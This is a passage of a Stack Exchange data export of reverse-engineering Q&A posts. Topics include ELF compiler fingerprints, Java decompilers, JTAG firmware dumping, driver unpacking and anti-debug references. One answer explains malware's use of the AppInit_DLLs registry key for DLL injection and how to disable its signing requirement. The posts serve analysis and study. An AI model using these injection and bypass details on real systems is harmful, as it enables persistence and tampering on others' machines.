|namic..got..got.|&#xA;00001130  70 6c 74 00 2e 64 61 74  61 00 2e 62 73 73 00 2e  |plt..data..bss..|&#xA;00001140  63 6f 6d 6d 65 6e 74 00  00 00 00 00 00 00 00 00  |comment.........|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Running &lt;code&gt;strip -R .comment&lt;/code&gt; partially helps, and removes explicit mention of GCC completely, but there are still some tell-tale signs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000260  47 4e 55 00 00 00 00 00  02 00 00 00 06 00 00 00  |GNU.............|&#xA;00000270  18 00 00 00 04 00 00 00  14 00 00 00 03 00 00 00  |................|&#xA;00000280  47 4e 55 00 5f 8a 1b 97  01 5a ac d7 93 fb 96 29  |GNU._....Z.....)|&#xA;* * *&#xA;00000310  00 00 00 00 00 00 00 00  00 5f 5f 67 6d 6f 6e 5f  |.........__gmon_|&#xA;00000320  73 74 61 72 74 5f 5f 00  6c 69 62 63 2e 73 6f 2e  |start__.libc.so.|&#xA;00000330  36 00 70 75 74 73 00 5f  5f 6c 69 62 63 5f 73 74  |6.puts.__libc_st|&#xA;00000340  61 72 74 5f 6d 61 69 6e  00 47 4c 49 42 43 5f 32  |art_main.GLIBC_2|&#xA;00000350  2e 32 2e 35 00 00 00 00  02 00 02 00 00 00 00 00  |.2.5............|&#xA;* * *&#xA;00001020  00 2e 73 68 73 74 72 74  61 62 00 2e 69 6e 74 65  |..shstrtab..inte|&#xA;00001030  72 70 00 2e 6e 6f 74 65  2e 41 42 49 2d 74 61 67  |rp..note.ABI-tag|&#xA;00001040  00 2e 6e 6f 74 65 2e 67  6e 75 2e 62 75 69 6c 64  |..note.gnu.build|&#xA;00001050  2d 69 64 00 2e 67 6e 75  2e 68 61 73 68 00 2e 64  |-id..gnu.hash..d|&#xA;00001060  79 6e 73 79 6d 00 2e 64  79 6e 73 74 72 00 2e 67  |ynsym..dynstr..g|&#xA;00001070  6e 75 2e 76 65 72 73 69  6f 6e 00 2e 67 6e 75 2e  |nu.version..gnu.|&#xA;00001080  76 65 72 73 69 6f 6e 5f  72 00 2e 72 65 6c 61 2e  |version_r..rela.|&#xA;00001090  64 79 6e 00 2e 72 65 6c  61 2e 70 6c 74 00 2e 69  |dyn..rela.plt..i|&#xA;000010a0  6e 69 74 00 2e 74 65 78  74 00 2e 66 69 6e 69 00  |nit..text..fini.|&#xA;000010b0  2e 72 6f 64 61 74 61 00  2e 65 68 5f 66 72 61 6d  |.rodata..eh_fram|&#xA;000010c0  65 5f 68 64 72 00 2e 65  68 5f 66 72 61 6d 65 00  |e_hdr..eh_frame.|&#xA;000010d0  2e 63 74 6f 72 73 00 2e  64 74 6f 72 73 00 2e 6a  |.ctors..dtors..j|&#xA;000010e0  63 72 00 2e 64 79 6e 61  6d 69 63 00 2e 67 6f 74  |cr..dynamic..got|&#xA;000010f0  00 2e 67 6f 74 2e 70 6c  74 00 2e 64 61 74 61 00  |..got.plt..data.|&#xA;00001100  2e 62 73 73 00 00 00 00  00 00 00 00 00 00 00 00  |.bss............|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I decided to see what would happen if I replaced the last portion of this code with null bytes. The program still worked fine, but this decreases portability to other operating systems.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you try to replace &lt;code&gt;GNU&lt;/code&gt; with another compiler, say, &lt;code&gt;clang&lt;/code&gt;, it still works fine. Although it may confuse the reverse engineer, it certainly isn't that difficult to notice. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I tried to see what happens if I removed any trace of &lt;code&gt;GLIBC&lt;/code&gt;...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./a.out: ./a.out: no version information available (required by ./a.out)&#xA;./a.out: relocation error: ./a.out: symbol , version  not defined in file  with link time reference&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="215" LastEditorUserId="215" LastEditDate="2013-03-29T18:29:46.600" LastActivityDate="2013-03-29T18:29:46.600" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1373" PostTypeId="2" ParentId="1370" CreationDate="2013-03-29T18:20:27.477" Score="10" Body="&lt;p&gt;I can't speak to which one of these is the best, but there are a few java decompilers out there as indicated by this &lt;a href=&quot;https://stackoverflow.com/questions/671394/where-can-i-find-a-java-decompiler&quot;&gt;SO question&lt;/a&gt;. None of these decompilers appear to attempt to actively handle obfuscation though and many of those projects are abandoned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not tried &lt;a href=&quot;https://github.com/Storyyeller/Krakatau/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Krakatau&lt;/a&gt;, but it sounds like it may help with what you are looking for.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;From the readme: &quot;The Krakatau decompiler takes a different approach to most Java decompilers.&#xA;It can be thought of more as a compiler whose input language is Java bytecode&#xA;and whose target language happens to be Java source code. Krakatau takes in &#xA;arbitrary bytecode, and attempts to transform it to equivalent Java code. This&#xA;makes it robust to minor obfuscation, though it has the drawback of not&#xA;reconstructing the &quot;original&quot; source, leading to less readable output than a &#xA;pattern matching decompiler would produce for unobfuscated Java classes.&quot;&lt;/li&gt;&#xA;&lt;li&gt;This is open source and appears to be actively (as of this writing) maintained.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="36" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-04-13T04:30:22.907" CommentCount="2" CommunityOwnedDate="2015-03-20T16:24:07.360" ContentLicense="CC BY-SA 3.0" />
  <row Id="1374" PostTypeId="1" AcceptedAnswerId="1382" CreationDate="2013-03-29T18:32:04.087" Score="33" ViewCount="33566" Body="&lt;p&gt;I'm a software guy through and through.  But periodically when I'm taking apart hardware I know to look for JTAG ports and RS232 ports.  So far I've always been lucky and have been able to solder on pins to the RS232 port and get a serial connection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the times in the future that I am unlucky, can someone explain to me what JTAG is (i.e. is there only one type of JTAG and I can expect to hook it up to a single type of port, like a DB-9 for serial?) and how I would go about using it to dump firmware off an embedded system or is it all manufacturer specific?&lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="145" LastEditDate="2013-06-19T14:05:00.197" LastActivityDate="2022-03-31T08:57:53.410" Title="How do I identify and use JTAG?" Tags="|hardware|jtag|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1375" PostTypeId="1" AcceptedAnswerId="1403" CreationDate="2013-03-29T18:37:25.567" Score="7" ViewCount="1734" Body="&lt;p&gt;I've previously rolled my own Fuzzing Framework, and tried a few others like Peach Fuzzer.  It's been awhile since I've looked at vulnerability hunting, what is the state of the art with regard to fuzzing?  That is, if I were to start fuzzing Acme Corp's PDF Reader today, what toolset should I look into?  &lt;/p&gt;&#xA;" OwnerUserId="270" LastEditorUserId="270" LastEditDate="2013-03-31T03:57:49.393" LastActivityDate="2022-04-19T11:49:17.617" Title="State of the Art Fuzzing Framework" Tags="|fuzzing|" AnswerCount="2" CommentCount="0" ClosedDate="2013-03-31T11:02:23.163" ContentLicense="CC BY-SA 3.0" />
  <row Id="1376" PostTypeId="1" AcceptedAnswerId="1378" CreationDate="2013-03-29T18:58:10.950" Score="8" ViewCount="24786" Body="&lt;p&gt;I have a malware sample that adds a DLL to the registry key &lt;code&gt;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs&lt;/code&gt;.  There is malicious functionality in the DLL referenced by the registry key but this malware sample does not load or call the DLL, nor does it exhibit any other malicious behavior.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why would malware add a DLL to this registry key?&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="107" LastEditDate="2013-03-29T19:19:42.280" LastActivityDate="2013-03-30T22:33:24.463" Title="What happens when a DLL is added to AppInit_DLL" Tags="|windows|malware|dll|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1377" PostTypeId="2" ParentId="1352" CreationDate="2013-03-29T19:04:18.833" Score="4" Body="&lt;p&gt;I wish I had an easy way to help you.  When I did something similar previously, I used &lt;a href=&quot;https://code.google.com/p/distorm/&quot; rel=&quot;nofollow&quot;&gt;distorm&lt;/a&gt; and &lt;a href=&quot;https://code.google.com/p/pefile/&quot; rel=&quot;nofollow&quot;&gt;pefile&lt;/a&gt;.  Basically, the approach I took in my code (and it, admittedly, wasn't a great one) was to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Walk the IAT of the executable to locate the function(s) of interest.&lt;/li&gt;&#xA;&lt;li&gt;Perform a recursive-descent disassembly of the executable looking for calls to that function.&lt;/li&gt;&#xA;&lt;li&gt;Use the recently disassembly instructions to check what the arguments were.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In retrospect, learning the IDA scripting would have saved me a lot of time and effort but I was hard-headed.  If you're going to go down the same route, I'd suggest scripting IDA.  Although, I'm not sure you need to use Hex-Rays to convert it back to C code first.&lt;/p&gt;&#xA;" OwnerUserId="270" LastActivityDate="2013-03-29T19:04:18.833" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1378" PostTypeId="2" ParentId="1376" CreationDate="2013-03-29T19:06:52.317" Score="9" Body="&lt;p&gt;Basically, all DLLs listed in that reg-key are loaded when any process is started. &#xA;For more info see &lt;a href=&quot;http://support.microsoft.com/kb/197571&quot; rel=&quot;noreferrer&quot;&gt;Working with the AppInit_DLLs registry value&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;All the DLLs that are specified in this value are loaded by each Microsoft Windows-based application that is running in the current log on session.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;They are usually used by malicious code (tho it doesn't have to be malicious) as a way of DLL injection, to hook functions for example. To be more precise&lt;strike&gt;, AppInit DLLs are actually loaded only by the processes that link user32.dll.&lt;/strike&gt;,as peter ferrie points out, AppInit DLLs are loaded by user32.dll after it has been loaded. &#xA;The actual registry path differs between 64bit and 32bit version of OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for for 32 bit DLL on 32 bit systems the path is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For  64 bit DLL on 64 bit system :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For for 32 bit DLL on 64 bit system:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Multiple entries are split with space or comma, and the path to the DLL must not contain any spaces for obvious reasons.&#xA;On Vista and later, the AppInit DLLs need to be signed, tho the registry value &lt;code&gt;RequireSignedAppInit_DLLs&lt;/code&gt; can be set to 0 which disables this requirement.&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="304" LastEditDate="2013-03-30T19:11:42.710" LastActivityDate="2013-03-30T19:11:42.710" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1379" PostTypeId="2" ParentId="206" CreationDate="2013-03-29T19:27:52.033" Score="8" Body="&lt;p&gt;If you ask nicely, you may be able to get researcher access to &lt;a href=&quot;http://virustotal.com&quot;&gt;VirusTotal&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1307" LastActivityDate="2013-03-29T19:27:52.033" CommentCount="5" CommunityOwnedDate="2015-07-16T07:01:20.390" ContentLicense="CC BY-SA 3.0" />
  <row Id="1380" PostTypeId="1" AcceptedAnswerId="1391" CreationDate="2013-03-29T20:43:20.327" Score="17" ViewCount="4156" Body="&lt;p&gt;When you unpack manually a Windows user-mode executable, you can easily break at its EntryPoint (or TLS), then trace until you reach the original EntryPoint. However that's not possible with a packed driver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can you reliably unpack a Windows driver manually?&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="107" LastEditDate="2013-03-29T20:59:39.737" LastActivityDate="2016-07-11T17:31:50.043" Title="How can you reliably unpack a Windows driver manually?" Tags="|windows|unpacking|driver|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1381" PostTypeId="2" ParentId="1380" CreationDate="2013-03-29T20:43:20.327" Score="11" Body="&lt;ol&gt;&#xA;&lt;li&gt;change the driver subsystem to GUI (turning it into a user-mode binary)&lt;/li&gt;&#xA;&lt;li&gt;clear the imports' RVA, or use a &lt;a href=&quot;http://corkami.googlecode.com/files/usermode_drivers2.zip&quot;&gt;set of fake kernel DLLs&lt;/a&gt; (only in 32 bits) to enable imports loading&lt;/li&gt;&#xA;&lt;li&gt;launch in your debugger and proceed as if it was user-mode - you'll probably need to simulate some API calls before reaching the original EntryPoint.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-03-29T20:43:20.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1382" PostTypeId="2" ParentId="1374" CreationDate="2013-03-29T20:54:24.180" Score="24" Body="&lt;p&gt;There are a few JTAG connectors available, so it's hard to tell which one, and how the pins are positioned.&lt;/p&gt;&#xA;&lt;p&gt;I suggest you take a magnifying glass and read the microcontroller model.  With the model you will be able to find the datasheet on the Internet.&#xA;Take a look at the PIN out of the microcontroller, and see how many JTAG outputs it has. Some newer chips have trace outputs, some don't. This can really narrow down your options.&lt;/p&gt;&#xA;&lt;p&gt;You might want to take a look &lt;a href=&quot;https://web.archive.org/web/20200128215316/http://support.code-red-tech.com/CodeRedWiki/HardwareDebugConnections&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, for a a quick look on various JTAG connectors.&lt;/p&gt;&#xA;&lt;p&gt;Another thing worth mentioning, various microcontroller, have a specific bit, that when it set, the JTAG connectors are disabled. This is done on release, to make sure that no one tries to steal the firmware or to debug the system.&#xA;The only way to enable the JTAG again is to hard reset the microcontroller. This will cause complete reset of the internal flash, so all the firmware will be lost...&lt;/p&gt;&#xA;" OwnerUserId="35" LastEditorUserId="1731" LastEditDate="2022-03-31T08:57:53.410" LastActivityDate="2022-03-31T08:57:53.410" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="1383" PostTypeId="1" AcceptedAnswerId="1384" CreationDate="2013-03-29T21:46:40.973" Score="5" ViewCount="2209" Body="&lt;p&gt;What are good anti-debug references for Windows which help with manual unpacking, emulating, or sandboxing?&lt;/p&gt;&#xA;" OwnerUserId="188" LastEditorUserId="151" LastEditDate="2013-03-29T22:20:23.160" LastActivityDate="2013-03-29T22:20:23.160" Title="What are good Windows anti-debug references?" Tags="|windows|anti-debugging|" AnswerCount="1" CommentCount="1" ClosedDate="2013-03-30T01:50:13.127" ContentLicense="CC BY-SA 3.0" />
  <row Id="1384" PostTypeId="2" ParentId="1383" CreationDate="2013-03-29T21:46:40.973" Score="14" Body="&lt;ul&gt;&#xA;&lt;li&gt;Peter Ferrie's &lt;a href=&quot;http://pferrie.host22.com/papers/antidebug.pdf&quot;&gt;“Ultimate” Anti-Debugging Reference&lt;/a&gt; (PDF, 147 pages) contains &lt;strong&gt;many&lt;/strong&gt; anti-debugs, whether they're hardware or API based...&lt;/li&gt;&#xA;&lt;li&gt;Walied Assar's &lt;a href=&quot;http://waleedassar.blogspot.com/&quot;&gt;blog&lt;/a&gt; shows his researches, which are focused on finding new anti-debugs.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;other (maybe redundant) resources:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Nicolas Fallière's &lt;a href=&quot;http://www.symantec.com/connect/articles/windows-anti-debug-reference&quot;&gt;Windows Anti-Debug reference&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;OpenRCE's &lt;a href=&quot;http://www.openrce.org/reference_library/anti_reversing&quot;&gt;Anti Reverse Engineering Techniques Database&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Daniel Plohmann's &lt;a href=&quot;https://bitbucket.org/fkie_cd_dare/simplifire.antire&quot;&gt;AntiRE&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Rodrigo Branco's &lt;a href=&quot;http://research.dissect.pe/docs/blackhat2012-paper.pdf&quot;&gt;Scientific but Not Academical Overview of Malware Anti-Debugging, Anti-Disassembly and Anti-&#xA;VM Technologies&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Mark Vincent Yason's &lt;a href=&quot;http://www.blackhat.com/presentations/bh-usa-07/Yason/Whitepaper/bh-usa-07-yason-WP.pdf&quot;&gt;Art Of Unpacking&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="188" LastActivityDate="2013-03-29T21:46:40.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1385" PostTypeId="5" CreationDate="2013-03-29T22:10:33.787" Score="0" Body="&lt;p&gt;ActionScript is a scripting language used for RIAs, mobiles applications, web applications,  etc. which was initially developed by Macromedia and then acquired by Adobe. It targets to compile for Flash player runtime which can be deployed in various platforms including mobiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;http://en.wikipedia.org/wiki/ActionScript&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ActionScript is an object-oriented language originally developed by Macromedia Inc. (now owned by Adobe Systems). It is a dialect of ECMAScript (meaning it is a superset of the syntax and semantics of the language more widely known as JavaScript), and is used primarily for the development of websites and software targeting the Adobe Flash Player platform, used on Web pages in the form of embedded SWF files.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The language itself is open-source in that its specification is offered free of charge and both an open source compiler (as part of Apache Flex) and open source virtual machine (Mozilla Tamarin) are available.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-03-30T20:05:37.287" LastActivityDate="2013-03-30T20:05:37.287" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1386" PostTypeId="4" CreationDate="2013-03-29T22:10:33.787" Score="0" Body="ActionScript is a scripting language used for RIAs, mobiles applications, web applications,  etc." OwnerUserId="151" LastEditorUserId="151" LastEditDate="2013-04-01T14:14:53.570" LastActivityDate="2013-04-01T14:14:53.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1387" PostTypeId="5" CreationDate="2013-03-29T22:13:38.863" Score="0" Body="&lt;p&gt;&lt;strong&gt;PHP: Hypertext Preprocessor&lt;/strong&gt; is a widely used, general-purpose server side scripting language that is especially suited for web development. The latest stable release, development changes, and development branches can be found on &lt;a href=&quot;http://www.php.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;the PHP website&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the &lt;a href=&quot;https://github.com/php/php-src/blob/master/UPGRADING&quot; rel=&quot;nofollow noreferrer&quot;&gt;UPGRADING&lt;/a&gt; and &lt;a href=&quot;https://github.com/php/php-src/blob/master/UPGRADING.INTERNALS&quot; rel=&quot;nofollow noreferrer&quot;&gt;UPGRADING.INTERNALS&lt;/a&gt; files for release migration instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://en.wikipedia.org/wiki/PHP&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;PHP is a server-side scripting language designed for web development but also used as a general-purpose programming language. PHP is now installed on more than 20 million websites and 1 million web servers. Originally created by Rasmus Lerdorf in 1995, the reference implementation of PHP is now produced by The PHP Group. While PHP originally stood for Personal Home Page, it is now said to stand for PHP: Hypertext Preprocessor, a recursive acronym.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;PHP code is interpreted by a web server with a PHP processor module which generates the resulting web page: PHP commands can be embedded directly into an HTML source document rather than calling an external file to process data. It has also evolved to include a command-line interface capability and can be used in standalone graphical applications.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;h2&gt;Community&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;PHP has many active community forums, including:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://chat.stackoverflow.com/rooms/11/php&quot;&gt;Stack Overflow PHP chat room&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ostg.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Geeknet&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.linuxfund.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Linux Fund&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://php.meetup.com&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP Meetups&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;More information&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia on PHP&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Online documentation&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://www.php.net/manual&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP manual&lt;/a&gt; is the official documentation for &lt;a href=&quot;http://www.php.net/langref&quot; rel=&quot;nofollow noreferrer&quot;&gt;the language syntax&lt;/a&gt;, featuring function search and URL shortcuts (for example &lt;a href=&quot;https://secure.php.net/explode&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://secure.php.net/explode&lt;/a&gt;). &lt;a href=&quot;http://www.php.net/funcref&quot; rel=&quot;nofollow noreferrer&quot;&gt;The API is well documented&lt;/a&gt; for native and additional extensions. Most additional extensions can be found in &lt;a href=&quot;http://pecl.php.net/packages.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;PECL&lt;/a&gt;. The &lt;a href=&quot;http://pear.php.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PEAR&lt;/a&gt; repository contains a plethora of community supplied classes.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;PHP Tutorials&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.w3schools.com/php/default.asp&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP Basics&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h3&gt;Free PHP Programming Books&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.techotopia.com/index.php/PHP_Essentials&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP Essentials&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.tuxradar.com/practicalphp&quot; rel=&quot;nofollow noreferrer&quot;&gt;Practical PHP Programming&lt;/a&gt; (wiki containing O'Reilly's &lt;em&gt;PHP In a Nutshell&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://symfony.com/doc/current/book/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Symfony2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.survivethedeepend.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Zend Framework: Survive the Deep End&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.phptherightway.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP: The Right Way&lt;/a&gt; (&lt;em&gt;is a community driven quick reference for PHP best practices and accepted coding standards&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Best PHP Books 2012&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0596157134&quot; rel=&quot;nofollow noreferrer&quot;&gt;Learning PHP, MySQL, and JavaScript: A Step-By-Step Guide to Creating Dynamic Websites (Animal Guide)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1430232498&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP Solutions: Dynamic Web Design Made Easy&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0672329166&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP and MySQL Web Development (4th Edition)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1890774561&quot; rel=&quot;nofollow noreferrer&quot;&gt;Murach's PHP and MySQL (Murach: Training &amp;amp; Reference)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0321784073&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHP and MySQL for Dynamic Web Sites: Visual QuickPro Guide (4th Edition)&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Database support&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;PHP supports a wide range of databases, &lt;a href=&quot;http://www.php.net/refs.database&quot; rel=&quot;nofollow noreferrer&quot;&gt;relational and non-relational alike&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PHP is often paired with the &lt;a href=&quot;http://www.php.net/mysqli&quot; rel=&quot;nofollow noreferrer&quot;&gt;MySQL&lt;/a&gt; relational database. PHP also includes great database support for &lt;a href=&quot;http://www.php.net/pgsql&quot; rel=&quot;nofollow noreferrer&quot;&gt;PostgreSQL&lt;/a&gt;, &lt;a href=&quot;http://www.php.net/sqlite3&quot; rel=&quot;nofollow noreferrer&quot;&gt;SQLite&lt;/a&gt;, &lt;a href=&quot;http://www.microsoft.com/sqlserver/2005/en/us/PHP-Driver.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Microsoft SQL Server&lt;/a&gt; (&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/cc296152(SQL.90).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;API reference&lt;/a&gt;), &lt;a href=&quot;http://www.php.net/oci8&quot; rel=&quot;nofollow noreferrer&quot;&gt;Oracle&lt;/a&gt;, &lt;a href=&quot;http://www.php.net/ibm-db2&quot; rel=&quot;nofollow noreferrer&quot;&gt;IBM DB2 &amp;amp; Cloudscape, Apache Derby&lt;/a&gt; and even &lt;a href=&quot;http://www.php.net/uodbc&quot; rel=&quot;nofollow noreferrer&quot;&gt;ODBC&lt;/a&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All modern versions of PHP include &lt;a href=&quot;http://www.php.net/pdo&quot; rel=&quot;nofollow noreferrer&quot;&gt;PDO&lt;/a&gt;, a built-in &lt;a href=&quot;http://www.php.net/intro.pdo&quot; rel=&quot;nofollow noreferrer&quot;&gt;data-access abstraction library&lt;/a&gt; with &lt;a href=&quot;http://www.php.net/pdo.drivers&quot; rel=&quot;nofollow noreferrer&quot;&gt;comprehensive connectivity options&lt;/a&gt;.  More recently, PECL extensions have surfaced that offer &quot;NoSQL&quot; database support, including &lt;a href=&quot;http://github.com/mjpearson/Pandra/tree/master/lib/thrift/ext/thrift_protocol/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Apache Thrift&lt;/a&gt; (for Apache Cassandra), &lt;a href=&quot;http://www.php.net/mongo&quot; rel=&quot;nofollow noreferrer&quot;&gt;MongoDB&lt;/a&gt;, &lt;a href=&quot;http://github.com/owlient/phpredis/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Redis&lt;/a&gt;, and others.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Useful Third-party Code and Tools&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In addition to the vast functionality provided in the PHP Core and through PEAR and PECL, there are a number of noteworthy 3rd party contributions to the PHP world, some of which are listed below.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Frameworks&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;PHP has a variety of object-oriented web application frameworks that provide a lot of the common functionality required to build modern web application out of the box, with the more well-known being (in alphabetical order) the following ones:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.agavi.org/&quot; rel=&quot;nofollow 